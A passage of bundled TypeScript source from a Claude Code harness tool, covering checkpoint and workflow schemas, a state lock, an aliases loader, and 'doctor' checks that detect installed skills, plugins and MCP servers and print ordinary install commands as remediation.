optional long-tail window\n },\n { additionalProperties: false },\n)\n\nexport const AliasesV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.aliases), // 'harnessed.aliases.v1'\n aliases: Type.Record(Type.String({ minLength: 1 }), AliasEntryV1),\n },\n { additionalProperties: false },\n)\n\nexport type AliasEntryV1Type = Static<typeof AliasEntryV1>\nexport type AliasesV1Type = Static<typeof AliasesV1>\n","// src/manifest/aliases.ts — Phase 3.3 W1 T1.4 — D-01 RICH consumer.\n// Sister src/manifest/validate.ts (yaml.parse + Value.Check) + sister\n// src/checkpoint/state.ts L23-41 (fail-soft read pattern).\n// Memoized 1-read per process (Karpathy YAGNI, only pay cost on doctor 7th\n// check OR install path resolveAlias call). yaml.parse via existing project\n// yaml lib (sister src/manifest/validate.ts convention).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { checkPathSafe } from './lib/path-guard.js'\nimport { AliasesV1, type AliasesV1Type } from './schema/aliases.v1.js'\n\nconst ALIASES_PATH = join(process.cwd(), 'manifests', 'aliases.yaml')\n\nlet _cached: AliasesV1Type | null = null\n\n/** Load aliases.yaml once per process (memoized). Returns null if file absent.\n * Throws Karpathy fail-loud Error on schema invalid (debug locality). */\nexport function loadAliases(): AliasesV1Type | null {\n if (_cached) return _cached\n if (!existsSync(ALIASES_PATH)) return null\n const raw = readFileSync(ALIASES_PATH, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(AliasesV1, parsed)) {\n const errs = [...Value.Errors(AliasesV1, parsed)].slice(0, 3)\n throw new Error(\n `aliases.yaml schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cached = parsed\n return parsed\n}\n\n/** Resolve old → new name redirect; returns null if no alias for the name. */\nexport function resolveAlias(name: string): string | null {\n // R10.4 D-04 hardening site 1 — guard user-controlled name before yaml lookup.\n checkPathSafe(name)\n return loadAliases()?.aliases?.[name]?.redirect ?? null\n}\n\n/** List all deprecated entries (consumer: doctor 7th check). */\nexport function listDeprecations(): Array<{\n old: string\n entry: AliasesV1Type['aliases'][string]\n}> {\n const a = loadAliases()\n return a ? Object.entries(a.aliases).map(([old, entry]) => ({ old, entry })) : []\n}\n","// src/cli/lib/check-deprecations.ts — Phase 3.3 W1 T1.6 — D-02 DOCTOR-ONLY-WARN\n// PRIMARY helper (sister Phase 3.2 W1 T1.4 probe-gstack.ts 48L sister-share\n// extract pattern for Karpathy ≤200L 守门 — keeps doctor.ts ≤200L). Lists\n// deprecated manifests by reading manifests/aliases.yaml (D-01 RICH schema)\n// + emits CheckResult for doctor 7th check warning output. Table format\n// multi-deprecation aggregation per Discretion locked (RESEARCH § 3.2 verbatim).\nimport { listDeprecations } from '../../manifest/aliases.js'\n\nexport interface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\n/** Doctor 7th check: list deprecated manifests from aliases.yaml. D-02 DOCTOR-\n * ONLY-WARN: status='warn' when deprecations exist (install path silently\n * redirects, doctor surface here is human-readable audit). */\nexport function checkDeprecations(): CheckResult {\n try {\n const deprecations = listDeprecations()\n if (deprecations.length === 0) {\n return { name: 'deprecated manifests', status: 'pass', message: 'no deprecated manifests' }\n }\n const lines = deprecations.map(({ old, entry }) => {\n const removal = entry.removal_date ? `, removes ${entry.removal_date}` : ''\n return ` '${old}' → '${entry.redirect}' (since ${entry.since_version}, ${entry.deprecation_date}${removal}; ${entry.reason})`\n })\n return {\n name: 'deprecated manifests',\n status: 'warn',\n message: `${deprecations.length} deprecated manifest(s):\\n${lines.join('\\n')}`,\n fix: 'install paths auto-redirect; consider migrating manifest references to new names',\n }\n } catch (e) {\n return {\n name: 'deprecated manifests',\n status: 'fail',\n message: `aliases.yaml load error: ${(e as Error).message}`,\n fix: 'verify manifests/aliases.yaml schema (see docs/PROJECT-SPEC.md)',\n }\n }\n}\n","// Phase 3.1 Wave 1 T1.2 — checkpoint envelope schema (7th-existing surface,\n// 1st checkpoint-namespace producer). Sister of `src/workflow/schema/phases.ts`\n// (TypeBox `Type.Object` pattern, PATTERNS § 1 #1 90% reuse).\n//\n// IMPL NOTE — `cwd` field is a hard requirement per RESEARCH § 1.3 (Claude\n// Agent SDK session resume binds to the original working directory; resuming\n// from a different cwd silently fails). D-04 WIRE-IN: optional `session_id`\n// captured via `sdkSpawn` `onSessionId` callback (CD-4 closure-ready) and\n// archived in the checkpoint envelope so a future `--resume` can replay.\n//\n// Status is the same 3-state union as `currentWorkflow.v1` (D-02 KARPATHY\n// lock — no FSM lib). Drift across the two unions = test-time mismatch in\n// `tests/checkpoint/schema.test.ts`.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state checkpoint status (D-02 KARPATHY lock). Matches `WorkflowStatus`\n * in `currentWorkflow.v1.ts` by convention. */\nexport const CheckpointStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Checkpoint envelope — execute-task workflow snapshot persisted to\n * `.harnessed/checkpoints/<phase>.json`. Consumers MUST branch on\n * `schemaVersion` via `branchOnSchemaVersion` (CD-5 rule (a)). */\nexport const CheckpointV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.checkpoint),\n phase: Type.String({ minLength: 1 }),\n status: CheckpointStatus,\n last_task: Type.String(),\n key_decisions: Type.Array(Type.String()),\n canonical_refs: Type.Array(Type.String()),\n /** D-04 WIRE-IN: optional SDK session_id captured via `sdkSpawn`\n * `onSessionId` callback (CD-4 closure-ready) for future `--resume`. */\n session_id: Type.Optional(Type.String()),\n /** RESEARCH § 1.3 critical constraint — SDK session resume requires cwd\n * match; we capture and validate at restore time. */\n cwd: Type.String({ minLength: 1 }),\n timestamp: Type.String({ minLength: 1 }), // ISO-8601 by convention (TypeBox `format` requires Ajv-style format registry; we keep shape-check only — drift caught in writeCheckpoint path)\n archive_path: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type CheckpointV1Type = Static<typeof CheckpointV1>\n","// Phase 3.1 Wave 1 T1.2 — current-workflow state machine schema (8th surface).\n// Sister of `checkpoint.v1.ts` (same 3-state union by convention).\n//\n// Persisted to `.harnessed/current-workflow.json` and read by the state\n// machine in `src/checkpoint/state.ts` (T1.3). D-02 KARPATHY 3-state lock\n// (no xstate / robot3 — pure data with 3 transition functions).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state workflow status (D-02 KARPATHY lock). Mirrors `CheckpointStatus`\n * in `checkpoint.v1.ts` by convention. */\nexport const WorkflowStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Current-workflow envelope — singleton state file pointing at the last\n * checkpoint path. `last_checkpoint_path` is nullable on `activate()`\n * before the first checkpoint write. */\nexport const CurrentWorkflowV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.currentWorkflow),\n phase: Type.String({ minLength: 1 }),\n status: WorkflowStatus,\n last_checkpoint_path: Type.Union([Type.String(), Type.Null()]),\n // ISO-8601 by convention (TypeBox `format` requires Ajv-style registry; shape-check only here, drift surfaces in state.ts writer).\n started_at: Type.String({ minLength: 1 }),\n paused_at: Type.Optional(Type.String({ minLength: 1 })),\n completed_at: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\nexport type CurrentWorkflowV1Type = Static<typeof CurrentWorkflowV1>\n","// Phase 3.1 Wave 1 T1.2 — barrel for checkpoint schemas (CD-5 modular sister\n// of `src/manifest/schema/spec.ts`).\nexport * from './checkpoint.v1.js'\nexport * from './currentWorkflow.v1.js'\n","// Phase 3.1 W2 T2.1 — checkpoint template: mechanical writer + budget enforcer\n// (D-01 LOCKED: zero LLM call — pure mechanical assembly + fail-loud truncate).\n//\n// Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw pattern).\n// Budget enforcement strategy (R § 2 R7.2 < 1k token acceptance):\n// Level 1 — truncate `last_task` to first 200 chars\n// Level 2 — truncate `key_decisions` to first 5 items\n// Level 3 — throw CheckpointTooLargeError (fail-loud, do NOT silently drop data)\n// Token estimation: 1 char ≈ 0.25 token via Buffer.byteLength (R § 3 heuristic).\n\nimport { mkdirSync, writeFileSync } from 'node:fs'\nimport { dirname, join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { harnessedSubdir } from '../installers/lib/harnessedRoot.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\n\nconst BUDGET_TOKEN = 1000\n\nexport class CheckpointTooLargeError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointTooLargeError'\n }\n}\n\nexport class CheckpointWriteError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointWriteError'\n }\n}\n\n/** Heuristic: 1 char ≈ 0.25 token (English-dominant) — R § 3 estimation strategy.\n * Uses Buffer.byteLength for utf8-accurate length (multibyte glyphs counted right). */\nexport function estimateTokens(s: string): number {\n return Math.ceil(Buffer.byteLength(s, 'utf8') / 4)\n}\n\n/** Fail-loud truncate strategy: try truncate longest fields first; if still over → throw.\n * Order chosen so highest-value fields (canonical_refs, session_id, cwd) are preserved\n * and only narrative-redundant fields (last_task tail, decisions tail) are sacrificed. */\nexport function enforceBudget(c: CheckpointV1Type, budget = BUDGET_TOKEN): CheckpointV1Type {\n let candidate = c\n let tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 1: truncate last_task to first 200 chars\n candidate = { ...candidate, last_task: candidate.last_task.slice(0, 200) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 2: truncate key_decisions to first 5 items\n candidate = { ...candidate, key_decisions: candidate.key_decisions.slice(0, 5) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n throw new CheckpointTooLargeError(\n `Checkpoint exceeds ${budget}-token budget even after truncation (estimated ${tokens})`,\n )\n}\n\n/** Write checkpoint envelope to `<harnessed-root>/checkpoints/<phase>.json` (or customPath).\n * v3.0.3: default path routed through `getHarnessedRoot()` SoT (homedir-rooted).\n * Throws CheckpointWriteError on schema violation; CheckpointTooLargeError on budget. */\nexport function writeCheckpoint(c: CheckpointV1Type, customPath?: string): string {\n if (!Value.Check(CheckpointV1, c)) {\n const errs = [...Value.Errors(CheckpointV1, c)].map((e) => e.message).join('; ')\n throw new CheckpointWriteError(`Schema validation failed: ${errs}`)\n }\n const enforced = enforceBudget(c)\n const path = customPath ?? join(harnessedSubdir('checkpoints'), `${enforced.phase}.json`)\n mkdirSync(dirname(path), { recursive: true })\n writeFileSync(path, JSON.stringify(enforced, null, 2), 'utf8')\n return path\n}\n","// Phase 3.4 W1 T1.1 — D-03 BUFFER /4 + D-04 DOCTOR WARN PRIMARY helper. Sister\n// Phase 3.3 W1 T1.6 check-deprecations.ts 43L. Scans ~/.claude/skills + repo\n// skills/ SKILL.md frontmatter description tokens via Phase 3.1 D-01\n// estimateTokens (Buffer.byteLength /4 zero-dep heuristic). Karpathy ≤40L hard.\nimport { existsSync, readdirSync, readFileSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { estimateTokens } from '../../checkpoint/template.js'\nimport type { CheckResult } from './check-deprecations.js'\n\nconst CONTEXT_WINDOW_TOKENS = 200_000\nconst TOTAL_THRESHOLD = 2_000 // 1% of 200k\nconst PER_SKILL_THRESHOLD = 5_000\n\nfunction scanSkillsDir(root: string): { name: string; tokens: number }[] {\n if (!existsSync(root)) return []\n return readdirSync(root).flatMap((name) => {\n const md = join(root, name, 'SKILL.md')\n if (!existsSync(md)) return []\n const fm = readFileSync(md, 'utf8').match(/^---\\n([\\s\\S]*?)\\n---/)?.[1] ?? ''\n const desc = fm.match(/^description:\\s*(.+)$/m)?.[1] ?? ''\n return [{ name, tokens: estimateTokens(desc) }]\n })\n}\n\nexport function checkTokenBudget(): CheckResult {\n const roots = [join(homedir(), '.claude', 'skills'), join(process.cwd(), 'skills')]\n const items = roots.flatMap(scanSkillsDir)\n const total = items.reduce((s, i) => s + i.tokens, 0)\n const over = items.filter((i) => i.tokens > PER_SKILL_THRESHOLD).length\n if (total <= TOTAL_THRESHOLD && over === 0) {\n const msg = `${items.length} skill(s) total ${total} tokens (under 1% / 2000 threshold)`\n return { name: 'token budget', status: 'pass', message: msg }\n }\n const top = [...items]\n .sort((a, b) => b.tokens - a.tokens)\n .slice(0, 3)\n .map((t) => `${t.name}:${t.tokens}`)\n .join(', ')\n const pct = ((total / CONTEXT_WINDOW_TOKENS) * 100).toFixed(2)\n const message = `${items.length} skill(s) total ${total} tokens (${pct}% of 200000) — top: ${top}`\n return {\n name: 'token budget',\n status: 'warn',\n message,\n fix: 'shorten verbose skill descriptions OR review per-skill > 5000 tokens',\n }\n}\n","// Phase v2.0-2.3 W0 T2.3.W0.5 — Agent Teams capability probe (Q-AUDIT-5b\n// MANDATORY: schema is root-level `env.*` NOT nested `experimental.*`).\n// Sister RESEARCH § 4.3 verbatim implementation; wired by setup.ts / doctor.ts.\n\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { resolve } from 'node:path'\n\nexport interface AgentTeamsCheckResult {\n status: 'pass' | 'warn' | 'missing'\n detected: { env: boolean; settingsJson: boolean }\n envValue?: string\n settingsValue?: string\n remediation?: string\n}\n\nexport async function checkAgentTeams(): Promise<AgentTeamsCheckResult> {\n const envValue = process.env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n const envOn = envValue === '1'\n\n let settingsValue: string | undefined\n let settingsOn = false\n try {\n const path = resolve(homedir(), '.claude', 'settings.json')\n const raw = await readFile(path, 'utf8')\n const data = JSON.parse(raw) as { env?: Record<string, string> }\n // Q-AUDIT-5b LOCKED: root-level env.* NOT nested experimental.*\n settingsValue = data.env?.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n settingsOn = settingsValue === '1'\n } catch {\n // settings.json missing / unparseable / invalid JSON — non-fatal, fall through to env probe\n }\n\n const detected = { env: envOn, settingsJson: settingsOn }\n if (envOn || settingsOn) {\n return { status: 'pass', detected, envValue, settingsValue }\n }\n\n return {\n status: 'missing',\n detected,\n envValue,\n settingsValue,\n remediation:\n 'Agent Teams not enabled. Add to ~/.claude/settings.json:\\n \"env\": { \"CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\": \"1\" }\\nOR run: claude config set env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS 1\\nOR export env var:\\n export CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1\\nThen restart Claude Code (CC >= 2.1.133 required).',\n }\n}\n","// Phase v2.0-2.4 W3 T2.4.W3.1 — 9th doctor check delegate (Agent Teams env).\n// Wraps src/cli/lib/checkAgentTeams.ts (Phase 2.3 W0.5 SHIPPED) into the\n// CheckResult shape consumed by src/cli/doctor.ts (sister probe-gstack.ts\n// delegate pattern for Karpathy ≤200L doctor.ts hard limit守门).\n//\n// Status map: checkAgentTeams 'pass' → 'pass'; 'missing' → 'warn' (non-blocking\n// per CLAUDE.md L21 \"warn ≠ fail / exit 0\" R2.4.1 + R20.11 acceptance c).\n\nimport { checkAgentTeams } from './checkAgentTeams.js'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\nexport async function checkAgentTeamsDoctor(): Promise<CheckResult> {\n const r = await checkAgentTeams()\n if (r.status === 'pass') {\n const source = r.detected.env ? 'env var' : 'settings.json'\n return {\n name: 'Agent Teams env',\n status: 'pass',\n message: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1 (${source})`,\n }\n }\n return {\n name: 'Agent Teams env',\n status: 'warn',\n message: 'CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS not set (Agent Teams disabled)',\n fix: r.remediation,\n }\n}\n","// Phase v2.0-2.4 W3 T2.4.W3.1 — 10th doctor check (planning-with-files plugin\n// presence per R20.15 acceptance d + D-15). File-based probe NOT shell CLI call\n// (sister checkAgentTeams.ts pattern; avoids dependency on `claude plugin list`).\n//\n// Probe path: ~/.claude/plugins/cache/planning-with-files/planning-with-files/<version>/\n// per capabilities.yaml planning-with-files.plugin_path field. Real install path\n// verified 2026-05-20: `~/.claude/plugins/cache/planning-with-files/planning-with-files/2.34.0/`.\n// Missing → warn (non-blocking per warn ≠ fail R2.4.1) with `claude plugin install` remediation.\n\nimport { readdir } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n install_commands?: readonly string[]\n}\n\n// v3.9.1 — planning-with-files lives in OthmanAdi/planning-with-files\n// marketplace (NOT default claude marketplace). Two-step install:\n// 1. claude plugin marketplace add OthmanAdi/planning-with-files\n// 2. claude plugin install planning-with-files\nconst REMEDIATION =\n 'install via `claude plugin marketplace add OthmanAdi/planning-with-files && ' +\n 'claude plugin install planning-with-files` (requires >=2.2.0 per R20.15 + D-15)'\n\nconst INSTALL_COMMANDS = [\n 'claude plugin marketplace add OthmanAdi/planning-with-files',\n 'claude plugin install planning-with-files',\n] as const\n\nexport async function checkPlanningWithFiles(): Promise<CheckResult> {\n const root = join(\n homedir(),\n '.claude',\n 'plugins',\n 'cache',\n 'planning-with-files',\n 'planning-with-files',\n )\n try {\n const entries = await readdir(root)\n // entries are version subdirs (e.g., '2.34.0'); at least one = installed.\n const versions = entries.filter((e) => /^\\d+\\.\\d+/.test(e))\n if (versions.length > 0) {\n return {\n name: 'planning-with-files plugin',\n status: 'pass',\n message: `installed (version ${versions.join(', ')})`,\n }\n }\n return {\n name: 'planning-with-files plugin',\n status: 'warn',\n message: 'plugin directory exists but no version subdir found',\n fix: REMEDIATION,\n install_commands: INSTALL_COMMANDS,\n }\n } catch {\n return {\n name: 'planning-with-files plugin',\n status: 'warn',\n message: 'not installed (plugin cache path missing)',\n fix: REMEDIATION,\n install_commands: INSTALL_COMMANDS,\n }\n }\n}\n","// v3.6.0 Phase 2 Wave 1 — 11th doctor check (mattpocock-skills install probe per\n// user reframe \"setup 时检测 mattpocock-skills 并安装\"). File-based probe NOT\n// shell CLI (sister check-planning-with-files.ts pattern; avoids dependency on\n// `claude plugin list`).\n//\n// Probe locations (try both per mattpocock dual support):\n// 1. ~/.claude/plugins/cache/mattpocock-skills/mattpocock-skills/<version>/ (plugin form)\n// 2. ~/.claude/skills/mattpocock-skills/ (user-skill form)\n// Either present → pass. Both missing → warn (non-blocking per warn ≠ fail R2.4.1)\n// — methodology fallback already inline in role-prompts.yaml per v3.6.0 Phase 1,\n// so install is optional; remediation enables /grill-with-docs /zoom-out etc.\n// SlashCommand acceleration.\n\nimport { readdir, stat } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n install_commands?: readonly string[]\n}\n\n// v3.9.1 — mattpocock-skills is NOT in any default Claude Code plugin marketplace\n// (v3.9.0 P4 dogfood discovery: `claude plugin install mattpocock-skills` fails\n// with \"Plugin not found in any configured marketplace\"). Correct install path\n// is the upstream `skills` CLI:\n// npx skills@latest add mattpocock/skills\n// which clones into ~/.claude/skills/mattpocock-skills (user-skill form).\nconst REMEDIATION =\n 'install via `npx skills@latest add mattpocock/skills` ' +\n '(or git clone https://github.com/mattpocock/skills ~/.claude/skills/mattpocock-skills); ' +\n 'methodology fallback already inline in role-prompts.yaml per v3.6.0 Phase 1 — install ' +\n 'is optional but enables /grill-with-docs /zoom-out etc. SlashCommand acceleration'\n\nconst INSTALL_COMMANDS = ['npx skills@latest add mattpocock/skills'] as const\n\nexport async function checkMattpocockSkills(): Promise<CheckResult> {\n const pluginRoot = join(\n homedir(),\n '.claude',\n 'plugins',\n 'cache',\n 'mattpocock-skills',\n 'mattpocock-skills',\n )\n const skillRoot = join(homedir(), '.claude', 'skills', 'mattpocock-skills')\n\n // Try plugin form first (sister check-planning-with-files.ts L24-43)\n try {\n const entries = await readdir(pluginRoot)\n const versions = entries.filter((e) => /^\\d+\\.\\d+/.test(e))\n if (versions.length > 0) {\n return {\n name: 'mattpocock-skills',\n status: 'pass',\n message: `installed as plugin (version ${versions.join(', ')})`,\n }\n }\n } catch {\n // fall through to user-skill check\n }\n\n // Try user-skill form\n try {\n await stat(skillRoot)\n return {\n name: 'mattpocock-skills',\n status: 'pass',\n message: `installed as user-skill (${skillRoot})`,\n }\n } catch {\n // fall through to warn\n }\n\n return {\n name: 'mattpocock-skills',\n status: 'warn',\n message: 'not installed (plugin cache + user-skill paths both missing)',\n fix: REMEDIATION,\n install_commands: INSTALL_COMMANDS,\n }\n}\n","// v3.6.0 Phase 2 Wave 2 — 12th doctor check (3 MCP server availability per\n// audit-harnessed-vs-user-rules-2026-05-25.md P1a \"MCP 自动探测 + fallback\n// hint\"). Reads ~/.claude/settings.json (NOT ~/.claude.json — user-scope\n// settings), checks if tavily-mcp / exa-mcp / chrome-devtools-mcp are\n// declared in the `mcpServers` block.\n//\n// Distinct from existing `checkMcpScope` which checks scope hygiene (project\n// vs user — CC #54803 risk); this check is server-by-server availability.\n// Substring match accepts forks/aliases (e.g. `tavily-mcp-fork` matches\n// `tavily-mcp` — still functionally compatible per harnessed web-search\n// routing).\n//\n// Missing → warn (non-blocking per R2.4.1 warn ≠ fail). harnessed routes\n// web-search to tavily/exa per workflows/judgments/web-search-routing.yaml —\n// without them, falls back to WebFetch/WebSearch built-in (degraded but functional).\n\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n install_commands?: readonly string[]\n}\n\n// v3.9.3 — TARGET_SERVERS names MUST match the server names registered by their\n// install commands (verified via `~/.claude/settings.json` mcpServers keys after\n// install). Mismatch in v3.9.0-3.9.2 (e.g. `tavily-mcp` vs actual `tavily-remote-mcp`)\n// caused false-missing detection → auto-install retry → exit 1 (\"already exists\").\nconst TARGET_SERVERS = ['tavily-remote-mcp', 'exa', 'chrome-devtools'] as const\n\n// v3.9.1 — per-server install command (different transport / source per server).\n// Map key = TARGET_SERVERS entry; value = single-step install (each entry runs\n// independently in install chain — order does not matter for MCP add).\nconst SERVER_INSTALL_COMMANDS: Record<(typeof TARGET_SERVERS)[number], string> = {\n 'tavily-remote-mcp':\n 'claude mcp add tavily-remote-mcp --transport http https://mcp.tavily.com/mcp/',\n exa: 'claude mcp add --transport http exa https://mcp.exa.ai/mcp',\n // chrome-devtools: official Claude marketplace direct install (v3.9.2 dogfood\n // confirmed — was assumed npx in v3.9.1 SPEC, corrected to official marketplace).\n 'chrome-devtools': 'claude plugin install chrome-devtools-mcp',\n}\n\ntype TargetServer = (typeof TARGET_SERVERS)[number]\n\nexport async function checkMcpAvailability(): Promise<CheckResult> {\n const settingsPath = join(homedir(), '.claude', 'settings.json')\n let installed: TargetServer[] = []\n let missing: TargetServer[] = [...TARGET_SERVERS]\n\n try {\n const raw = await readFile(settingsPath, 'utf8')\n const parsed = JSON.parse(raw) as { mcpServers?: Record<string, unknown> }\n const servers = parsed.mcpServers ?? {}\n const serverNames = Object.keys(servers)\n // v3.9.3 — exact-match server name (was substring match in v3.6.0 Phase 2;\n // caused false negatives when registered name differed from target name).\n installed = TARGET_SERVERS.filter((s) => serverNames.includes(s))\n missing = TARGET_SERVERS.filter((s) => !installed.includes(s))\n } catch {\n // settings.json missing or malformed — all 3 effectively missing.\n // Keep installed=[] and missing=[...TARGET_SERVERS] defaults.\n }\n\n if (missing.length === 0) {\n return {\n name: 'MCP servers (tavily/exa/chrome-devtools)',\n status: 'pass',\n message: `all 3 installed: ${installed.join(', ')}`,\n }\n }\n\n // Build per-server install command list for the missing subset (covers both\n // none-installed and partial-installed cases — sister single source of truth).\n const installCommands = missing.map((s) => SERVER_INSTALL_COMMANDS[s])\n\n if (installed.length === 0) {\n return {\n name: 'MCP servers (tavily/exa/chrome-devtools)',\n status: 'warn',\n message: 'none of 3 target MCP servers installed in ~/.claude/settings.json',\n fix:\n 'install via per-server transport-specific command (see install_commands); ' +\n 'harnessed routes web-search to tavily/exa per workflows/judgments/web-search-routing.yaml — ' +\n 'without them, falls back to WebFetch/WebSearch built-in (degraded but functional)',\n install_commands: installCommands,\n }\n }\n\n return {\n name: 'MCP servers (tavily/exa/chrome-devtools)',\n status: 'warn',\n message: `${installed.length}/3 installed: ${installed.join(', ')}; missing: ${missing.join(', ')}`,\n fix: `install missing via per-server command (see install_commands): ${missing.join(', ')}`,\n install_commands: installCommands,\n }\n}\n","// v3.7.0 Phase 1 — Doctor check registry. Single source of truth for the\n// preflight check list, dispatched by src/cli/doctor.ts.\n//\n// Adding a new check:\n// 1. Create `src/cli/lib/check-<name>.ts` exporting `Promise<CheckResult>` fn\n// 2. Append to CHECKS array below\n// 3. Update tests/cli/doctor.test.ts CHECKS.length assertion\n//\n// Ordering preserved per doctor.test.ts cell-1+4+5 expectations. Built-in\n// checks (sync `checkNodeVersion` / `checkJq` / `checkWinBash`) are wrapped\n// with `Promise.resolve()` to keep dispatch uniform (Promise.all over the\n// whole array). All other checks are already async per delegate pattern.\n\nimport {\n type CheckResult,\n checkJq,\n checkMcpScope,\n checkNodeVersion,\n checkWinBash,\n} from './check-builtin.js'\n\nexport type { CheckResult } from './check-builtin.js'\n\nexport type CheckFn = () => Promise<CheckResult>\n\n/** All preflight checks, ordered for human-readable doctor output. */\nexport const CHECKS: readonly CheckFn[] = [\n async () => checkNodeVersion(),\n checkMcpScope,\n async () => checkJq(),\n async () => checkWinBash(),\n async () => {\n const { checkOrigin } = await import('./origin-check.js')\n const r = checkOrigin(process.cwd(), { allowFork: true })\n return { name: 'origin URL', status: r.status, message: r.detail, fix: r.fix }\n },\n async () => {\n const { probeGstackPrefix } = await import('./probe-gstack.js')\n const r = probeGstackPrefix()\n return { name: 'gstack prefix', status: r.status, message: r.detail, fix: r.fix }\n },\n async () => (await import('./check-deprecations.js')).checkDeprecations(),\n async () => (await import('./check-token-budget.js')).checkTokenBudget(),\n async () => (await import('./check-agent-teams-doctor.js')).checkAgentTeamsDoctor(),\n async () => (await import('./check-planning-with-files.js')).checkPlanningWithFiles(),\n async () => (await import('./check-mattpocock-skills.js')).checkMattpocockSkills(),\n async () => (await import('./check-mcp-availability.js')).checkMcpAvailability(),\n]\n","// Phase 3.1 W1 T1.3 — workflow state machine (D-02 KARPATHY 3-state, no FSM\n// lib). Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw).\n// Persists singleton state to `<harnessed-root>/current-workflow.json`. Hard limit\n// ≤ 80L per D-02 (3 transitions + read/write helpers).\n// Phase 5.1 W2 T2.2 — R10.2 concurrent write lock (D-05+D-06+D-07+D-08 LOCKED)\n// proper-lockfile dir-level lock `<harnessed-root>/.lock` wraps writeCurrentWorkflow.\n// W-01 PLAN-CHECK Path A: state.ts self-locks; engineHook acquires transitively.\n//\n// v3.0.3 hotfix — state + lock path migrated from `<cwd>/.harnessed/...` to\n// `<homedir>/.harnessed/...` via `getHarnessedRoot()` SoT. Sister v2.0.1\n// backup-root migration verbatim — EPERM-free when user CWD is read-only.\n\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport lockfile from 'proper-lockfile'\nimport { getHarnessedRoot, harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { branchOnSchemaVersion, SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { CurrentWorkflowV1, type CurrentWorkflowV1Type } from './schema/index.js'\n\n// v3.0.3 — lazy path resolution so HARNESSED_ROOT_OVERRIDE in e2e tests\n// applies before the first write (module-level const captured the path\n// at import time, before the test set the env var).\nfunction statePath(): string {\n return harnessedFile('current-workflow.json')\n}\nfunction lockTarget(): string {\n return getHarnessedRoot()\n}\nfunction lockOpts() {\n return {\n stale: 10_000,\n retries: { retries: 3, factor: 2, minTimeout: 100 },\n lockfilePath: harnessedFile('.lock'),\n }\n}\n\nexport class WorkflowStateError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'WorkflowStateError'\n }\n}\n\n/** Thrown when another harnessed process holds the harness-root `.lock` (D-06 LOCKED). */\nexport class LockHeldError extends Error {\n constructor() {\n super(\n `another harnessed process holds the lock at ${harnessedFile('.lock')} — wait or kill stale process (try: harnessed status)`,\n )\n this.name = 'LockHeldError'\n Object.setPrototypeOf(this, LockHeldError.prototype)\n }\n}\n\n/** Acquire dir-level lock then run fn(); release in finally (D-05+D-06+D-08).\n * v3.0.3: lock target is the homedir-rooted harness root (ensures the lock\n * directory exists before proper-lockfile tries to write `.lock` into it —\n * proper-lockfile will fail if the lockfilePath parent does not exist). */\nasync function withLock<T>(fn: () => Promise<T>): Promise<T> {\n const target = lockTarget()\n // Ensure the harness root exists before proper-lockfile tries to write.\n await mkdir(target, { recursive: true })\n let release: (() => Promise<void>) | undefined\n try {\n release = await lockfile.lock(target, lockOpts())\n } catch (e) {\n if ((e as NodeJS.ErrnoException).code === 'ELOCKED') throw new LockHeldError()\n throw e\n }\n try {\n return await fn()\n } finally {\n await release?.()\n }\n}\n\n/** Read state; returns null on missing/corrupt/unknown-version (CD-5 rule (b)\n * fail-soft). Throws only via 